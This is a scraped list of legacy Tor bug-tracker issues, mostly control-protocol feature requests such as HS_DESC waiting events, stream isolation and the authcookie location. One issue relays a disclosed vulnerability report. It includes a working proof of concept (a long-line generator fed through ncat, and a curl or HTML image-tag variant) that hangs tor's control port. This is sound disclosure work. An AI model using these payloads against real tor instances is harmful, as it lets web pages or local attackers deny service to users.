Trac issueshttps://gitlab.torproject.org/legacy/trac/-/issues2020-06-13T15:01:56Zhttps://gitlab.torproject.org/legacy/trac/-/issues/20289HS_DESC event while waiting for upload2020-06-13T15:01:56ZmeejahHS_DESC event while waiting for uploadThere is currently a "synthentic" delay before upload hidden-service descriptors. It would be nice if there was a "WAITING" (or similar) sub-event to the HS_DESC events to tell controllers that.
For context, txtorcon listens to HS_DESC ...There is currently a "synthentic" delay before upload hidden-service descriptors. It would be nice if there was a "WAITING" (or similar) sub-event to the HS_DESC events to tell controllers that.
For context, txtorcon listens to HS_DESC events when adding a new Onion service (either via ADD_ONION or SETCONF) and bubbles this out to txtorcon users as "progress" (txtorcon may also decide it needs to launch a new tor instance, which is also bubbled out via the same progress API).
So for the 30 seconds (or whatever) of induced delay, there appears to be nothing happening, and then you get 6 "HS_DESC UPLOAD" and (hopefully also 6) "HS_DESC UPLOADED" sub-events all "near the end".
It would provide nicer UX to have a "HS_DESC WAITING" (or similar) every few seconds.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/20218Fix and refactor and redocument routerstatus_has_changed2020-06-13T15:01:41ZNick MathewsonFix and refactor and redocument routerstatus_has_changedThe routerstatus_has_changed() function is used by controllers to to tell which rs entries are new. But it only looks at a fraction of the fields which might change in a routerstatus. Also, it only checks for semantic changes that tor ...The routerstatus_has_changed() function is used by controllers to to tell which rs entries are new. But it only looks at a fraction of the fields which might change in a routerstatus. Also, it only checks for semantic changes that tor cares about (though this is not documented).Tor: 0.4.3.x-finalNick MathewsonNick Mathewsonhttps://gitlab.torproject.org/legacy/trac/-/issues/20188hsfetch hs_desc FAILED with REASON missing2020-06-13T15:01:35Zgrarpamphsfetch hs_desc FAILED with REASON missingController...
hsfetch tries to fetch from up to 6 hsdirs. If for any reason,
such as network or hsdir appearing down anomalies, none of the 6
respond (or possibly even do not respond in a recognized manner),
hs_desc fails to print FAIL...Controller...
hsfetch tries to fetch from up to 6 hsdirs. If for any reason,
such as network or hsdir appearing down anomalies, none of the 6
respond (or possibly even do not respond in a recognized manner),
hs_desc fails to print FAILURE, which means REASON is missing, and
anything using the controller is left ambiguous.
hs_desc event should print result of hsfetch in all cases.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/20169hs_desc, hs_desc_content - BAD_DESC|NOT_FOUND2020-06-13T15:01:34Zgrarpamphs_desc, hs_desc_content - BAD_DESC|NOT_FOUNDLooking at a handful of HS descriptors...
setevents hs_desc hs_desc_content
hsfetch 2shgsl6ca3hwqnov
3 HSDirs - BAD_DESC
3 HSDirs - NOT_FOUND
All 6 print...
650+HS_DESC_CONTENT
.
650 OKLooking at a handful of HS descriptors...
setevents hs_desc hs_desc_content
hsfetch 2shgsl6ca3hwqnov
3 HSDirs - BAD_DESC
3 HSDirs - NOT_FOUND
All 6 print...
650+HS_DESC_CONTENT
.
650 OKTor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19859Expose stream isolation information to controllers2020-06-13T14:59:57ZNick MathewsonExpose stream isolation information to controllersSee the discussion on the "How to integrate an external name resolver into Tor" thread on tor-dev; most notably http://archives.seul.org/tor/dev/Aug-2016/msg00019.html .
Resolvers would like to know the isolation information of incoming...See the discussion on the "How to integrate an external name resolver into Tor" thread on tor-dev; most notably http://archives.seul.org/tor/dev/Aug-2016/msg00019.html .
Resolvers would like to know the isolation information of incoming streams so they know which streams need to be isolated from which other streams.
Semantically, this is a little tricky. The underlying rule that Tor implements is that each stream has a tuple of attributes (A_1, A_2... A_n), and a bit field (b_1, b_2... b_n). Two streams S_a and S_b may share the same circuit iff, for every i such that the OR of their b_i values is true, they have the same A_i value.
Note that this is not transitive: Stream S_a may be able to share a circuit with S_b or S_c, even if S_b cannot share with S_c. Worse
Should we (1) expose these attribute tuples and bitfields and require controllers to manipulate them correctly? That seems obnoxious and error-prone.
Or should we (2) allow controllers to ask questions like "may stream A share a circuit with stream B?" Or "what streams may A share a circuit with?" This might lead to O(n) queries, and it will still be error-prone because of the non-transitivity issue.
Or would it be better to (3) oversimplify the system above and provide each stream a 'cookie' such that any two streams with the same cookie may definitely share the same circuit? But this is problematic, and will overestimate how much isolation we need.
My current best idea is that (4) we should provide an operation of the form "make stream A have the same isolation properties as stream B". And possibly "make circuit C have isolation properties as if it had been used by stream A". So we don't expose isolation information, we just expose a way to manipulate it.
Or maybe there's a further clever way I'm not even thinking about just now.Tor: 0.4.3.x-finalhttps://gitlab.torproject.org/legacy/trac/-/issues/19572set Tor Control Authcookie default file location from /var/lib/tor/control.au...2020-06-13T14:59:19Zadrelanosset Tor Control Authcookie default file location from /var/lib/tor/control.authcookie to /var/run/tor/control.authcookieFor an ephermal file, the default location is much more appropriate in `/var/run/tor/control.authcookie` rather than the current default `/var/lib/tor/control.authcookie`.
To help standardize the path, please change Tor's default to `/v...For an ephermal file, the default location is much more appropriate in `/var/run/tor/control.authcookie` rather than the current default `/var/lib/tor/control.authcookie`.
To help standardize the path, please change Tor's default to `/var/run/tor/control.authcookie`, which is also what Debian is using.
-----
This would help define a more standard way across distributions how Tor control port authentication should work.
https://github.com/rustybird/corridor/issues/11
-----
https://gitweb.torproject.org/tor.git/tree/src/or/control.c?id=8917c4f19fccbe26ccea78b7fdb6d4730ef017c4#n6344
```
return get_datadir_fname("control_auth_cookie");
```Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19552Provide mechanism to find dirconns associated with a download_status_t, and e...2020-06-13T14:59:10ZAndrea ShepardProvide mechanism to find dirconns associated with a download_status_t, and expose active download attempts in GETINFO responseIt's hairy and complicated and different for every download status type to find out if / how many active attempts there are; we can do better.It's hairy and complicated and different for every download status type to find out if / how many active attempts there are; we can do better.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/18189Control connection pre-auth local DoS when bufferevents enabled2020-06-13T14:58:46ZGeorge KadianakisControl connection pre-auth local DoS when bufferevents enabledHere is another report by _Guido Vranken_ through hackerone. Please credit him appropriately.
BTW, while this is not a serious vulnerability (local DoS), we should consider making it even harder for people to enable bufferevents, or rip...Here is another report by _Guido Vranken_ through hackerone. Please credit him appropriately.
BTW, while this is not a serious vulnerability (local DoS), we should consider making it even harder for people to enable bufferevents, or ripping them out completely, if we don't plan to develop them further in the future.
---
## Bug report
In `control.c`, this is the loop that retrieves data from the input buffer of the connection, or returns if no complete linefreed-terminated line is available (connection_fetch_from_buf_line() returns 0).
```
4225 while (1) {
4226 size_t last_idx;
4227 int r;
4228 /* First, fetch a line. */
4229 do {
4230 data_len = conn->incoming_cmd_len - conn->incoming_cmd_cur_len;
4231 r = connection_fetch_from_buf_line(TO_CONN(conn),
4232 conn->incoming_cmd+conn->incoming_cmd_cur_len,
4233 &data_len);
4234 if (r == 0)
4235 /* Line not all here yet. Wait. */
4236 return 0;
4237 else if (r == -1) {
4238 if (data_len + conn->incoming_cmd_cur_len > MAX_COMMAND_LINE_LENGTH) {
4239 connection_write_str_to_buf("500 Line too long.\r\n", conn);
4240 connection_stop_reading(TO_CONN(conn));
4241 connection_mark_and_flush(TO_CONN(conn));
4242 }
4243 while (conn->incoming_cmd_len < data_len+conn->incoming_cmd_cur_len)
4244 conn->incoming_cmd_len *= 2;
4245 conn->incoming_cmd = tor_realloc(conn->incoming_cmd,
4246 conn->incoming_cmd_len);
4247 }
4248 } while (r != 1);
```
If connection_fetch_from_buf_line() returns -1, this means that the buffer (conn->incoming_cmd) is not large enough. conn->incoming_cmd_len is then increased to a size sufficiently large to hold the incoming command (lines 4243 - 4246). In order for this to work, data_len must be set to this required size by connection_fetch_from_buf_line().
If libevent bufferevents are not enabled, then connection_fetch_from_buf_line() is simply a proxy function for fetch_from_buf_line():
```
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
```
This function will indeed set *data_len to the required size if the present buffer size is too small (line 2255):
```
2241 int
2242 fetch_from_buf_line(buf_t *buf, char *data_out, size_t *data_len)
2243 {
2244 size_t sz;
2245 off_t offset;
2246
2247 if (!buf->head)
2248 return 0;
2249
2250 offset = buf_find_offset_of_char(buf, '\n');
2251 if (offset < 0)
2252 return 0;
2253 sz = (size_t) offset;
2254 if (sz+2 > *data_len) {
2255 *data_len = sz + 2;
2256 return -1;
2257 }
2258 fetch_from_buf(data_out, sz+1, buf);
2259 data_out[sz+1] = '\0';
2260 *data_len = sz+1;
2261 return 1;
2262 }
```
However, if libevent bufferevents are enabled (by ./configuring tor with --enable-bufferevents), then the code on lines (3770 - 3784) is executed instead:
```
3765 int
3766 connection_fetch_from_buf_line(connection_t *conn, char *data,
3767 size_t *data_len)
3768 {
3769 IF_HAS_BUFFEREVENT(conn, {
3770 int r;
3771 size_t eol_len=0;
3772 struct evbuffer *input = bufferevent_get_input(conn->bufev);
3773 struct evbuffer_ptr ptr =
3774 evbuffer_search_eol(input, NULL, &eol_len, EVBUFFER_EOL_LF);
3775 if (ptr.pos == -1)
3776 return 0; /* No EOL found. */
3777 if ((size_t)ptr.pos+eol_len >= *data_len) {
3778 return -1; /* Too long */
3779 }
3780 *data_len = ptr.pos+eol_len;
3781 r = evbuffer_remove(input, data, ptr.pos+eol_len);
3782 tor_assert(r >= 0);
3783 data[ptr.pos+eol_len] = '\0';
3784 return 1;
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
3788 }
```
Following the size check on line 3777, *data_len is not altered and thus remains the same as before the invocation.
For incoming data larger than the initial buffer size (1024 bytes) and contains a linefeed character past 1024 bytes, this sends the control connection input routine into an infinite loop.
## Proof of concept
$ ./configure --enable-bufferevents && make -j4
Now start tor with this torrc:
ControlPort 9999
then in another terminal:
$ cat genpoc.py
import sys
sys.stdout.write((chr(0x63) * 2000) + chr(0x0A) )
$ python genpoc.py >poc
$ ncat localhost 9999 <poc
tor now hangs and has to be killed with force (kill -9 <pid>).
## Inter-protocol exploit
Since the only two prerequisites of the attack are:
- Input longer than 1024 bytes
- Input contains linefeed character after byte 1024
it's easy to think of other ways of making tor hang than manually creating a connection for this purpose.
```
$ cat genpoc2.py
print "curl http://localhost:9999/{}".format("x" * 1200)
$ python genpoc2.py >poc.sh
$ bash poc.sh
```
This also causes tor to hang, because curl is sending this to tor:
```
GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1
User-Agent: curl/7.35.0
Host: localhost:9999
Accept: */*
```
which is data that adheres to the prerequisites.
Thus, a person running tor with the control server running locally while also using a regular browser can be DoSed via:
```
html
<img src='http://localhost:9999/xxxxxxxxxxxxxxxxxxx...'>
```
GuidoTor: 0.2.9.x-finalhttps://gitlab.torproject.org/legacy/trac/-/issues/19327controller: expose fine-grained circuit detail.2020-06-13T14:58:32ZNick Mathewsoncontroller: expose fine-grained circuit detail.circuits have lots of fields on them, and not all are currently exposed via getinfo. For testing, it might be useful to list more.circuits have lots of fields on them, and not all are currently exposed via getinfo. For testing, it might be useful to list more.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19326Examine fine-grained connection detail; expose via control API2020-06-13T14:58:30ZNick MathewsonExamine fine-grained connection detail; expose via control APIconnections have lots of fields on them, and not all are currently exposed via getinfo. For testing, it might be useful to list more.connections have lots of fields on them, and not all are currently exposed via getinfo. For testing, it might be useful to list more.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19325controller: getinfo to get status of cpuworker queues2020-06-13T14:58:30ZNick Mathewsoncontroller: getinfo to get status of cpuworker queuesTor: unspecifiedYawning AngelYawning Angelhttps://gitlab.torproject.org/legacy/trac/-/issues/19324controller: events for hidden service intro point changes, descriptor changes...2020-06-13T14:58:29ZNick Mathewsoncontroller: events for hidden service intro point changes, descriptor changes, uploads, etcTor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19322colntroller: add events for "I uploaded my own descriptor" or "I regenerated ...2020-06-13T14:58:29ZNick Mathewsoncolntroller: add events for "I uploaded my own descriptor" or "I regenerated my own descriptor"Tor: unspecifiedYawning AngelYawning Angelhttps://gitlab.torproject.org/legacy/trac/-/issues/19321controller: Ensure events exist for all guard state transitions2020-06-13T14:58:28ZNick Mathewsoncontroller: Ensure events exist for all guard state transitionsTor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19320controller: expose and adjust timer values2020-06-13T14:58:28ZNick Mathewsoncontroller: expose and adjust timer valuesWe're increasingly making our periodic timers first-class. If we give them names, then we can monitor (or adjust them) from the controller for testing purposes.We're increasingly making our periodic timers first-class. If we give them names, then we can monitor (or adjust them) from the controller for testing purposes.Tor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/19319controller: GETINFO stats to expose OOM details2020-06-13T14:58:27ZNick Mathewsoncontroller: GETINFO stats to expose OOM detailsOur OOM handler keeps track of lots of memory-consumers. We could expose that info to the controller.Our OOM handler keeps track of lots of memory-consumers. We could expose that info to the controller.Tor: unspecifiedYawning AngelYawning Angelhttps://gitlab.torproject.org/legacy/trac/-/issues/19318controller: expose cache details.2020-06-13T14:58:27ZNick Mathewsoncontroller: expose cache details.It might be handy good to know, for each descriptor or other cached thing: where it's stored, how it's stored, what annotations on it, etc. We could have controller events for discarding things from the cache, cache compaction, etc.It might be handy good to know, for each descriptor or other cached thing: where it's stored, how it's stored, what annotations on it, etc. We could have controller events for discarding things from the cache, cache compaction, etc.Tor: unspecifiedYawning AngelYawning Angelhttps://gitlab.torproject.org/legacy/trac/-/issues/19254Provide timestamps in the CIRC_BW and STREAM_BW events2020-06-13T14:58:11ZdonnchaProvide timestamps in the CIRC_BW and STREAM_BW eventsTor emits stream and circuit bandwidth events about once per second. However delays in the control port and controller libraries makes the event time not reliable enough for accurate bandwidth measurements.
It would be useful for making...Tor emits stream and circuit bandwidth events about once per second. However delays in the control port and controller libraries makes the event time not reliable enough for accurate bandwidth measurements.
It would be useful for making bandwidth authorities if both the STREAM_BW and CIRC_BW events included timestamps in the event.Tor: 0.3.2.x-finaldonnchadonnchahttps://gitlab.torproject.org/legacy/trac/-/issues/18620HSFORGET command to clear cached client state for a HS2020-06-13T14:55:29ZTracHSFORGET command to clear cached client state for a HSThis is a patch used by the Android app [Briar](https://briarproject.org/) (since [October 2014](https://code.briarproject.org/akwizgran/briar/commit/9e5e2e2df24d84135f14adaa42111c3ea2c55df8)) that [we would like to upstream](https://cod...This is a patch used by the Android app [Briar](https://briarproject.org/) (since [October 2014](https://code.briarproject.org/akwizgran/briar/commit/9e5e2e2df24d84135f14adaa42111c3ea2c55df8)) that [we would like to upstream](https://code.briarproject.org/akwizgran/briar/issues/115). It adds an `HSFORGET` command to the control protocol which clears any cached client state relating to a specified hidden service. This can be used to flush state that's likely to be stale before trying to connect to a hidden service via an unstable network connection (such as a mobile data connection).
**Trac**:
**Username**: str4dTor: unspecifiedhttps://gitlab.torproject.org/legacy/trac/-/issues/18608Limiting ADD_ONION TARGET access.2020-06-13T14:55:19ZcypherpunksLimiting ADD_ONION TARGET access.Please add a torrc option that allows the user to specify the target or port range allowed for an application that creates an ephemeral hidden service.
For example, saying that it can only bind to 12.0.0.1/32 and port range [None..None]...Please add a torrc option that allows the user to specify the target or port range allowed for an application that creates an ephemeral hidden service.
For example, saying that it can only bind to 12.0.0.1/32 and port range [None..None](../compare/None...None).
The tor client should refuse creating the hidden service if the application tries values outside of that range, for example 127.0.0.1:22 or 192.168.1.1:80Tor: unspecified